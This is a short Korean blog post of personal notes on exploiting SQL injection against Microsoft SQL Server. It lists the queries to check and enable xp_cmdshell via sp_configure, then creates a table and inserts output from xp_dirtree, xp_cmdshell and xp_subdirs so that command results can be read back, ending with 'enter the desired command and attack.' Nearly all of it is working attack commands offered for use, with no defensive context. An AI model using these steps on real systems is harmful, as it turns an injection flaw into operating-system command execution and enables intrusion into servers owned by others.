카테고리 없음

SQL Injection

푸쥬 ! 2022. 2. 26. 01:06
반응형

인젝션 쪽으로 사용하다가 필요한 내용 정리

 

 

1. mssql

 

- xp_cmdshell 활성화하기

 

인젝션이 가능하다는 전제 하에 xp_cmdshell 옵션 값 확인

 

select name, value from sys.configurations where name='xp_cmdshell'

 

이후 서브쿼리를 활용하여 아래 쿼리 실행, xp_cmdshell 활성화

 

EXEC sp_configure 'show advanced options', 1;

RECONFIGURE;

EXEC sp_configure 'xp_cmdshell', 1

RECONFIGURE;

 

xp_cmdshell 결과를 확인하는 방법을 고민하다가 사용자 테이블을 만들어서 결과를 넣기로 함

테이블은 varchar로 만들면 뭔가 에러가 자꾸 났음 (두번째 인자가 옵셔널인데 자꾸 넣으라고 함)

그래서 그냥 ntext 타입으로 생성

 

create table in_test(paths ntext);--

insert in_test exec xp_dirtree 'c:',1;--

insert in_test exec xp_cmdshell 'cd',1;--

insert in_test exec xp_subdirs 'c:\\inetpub\\';--

 

원하는 명령어 입력 후 공격.

728x90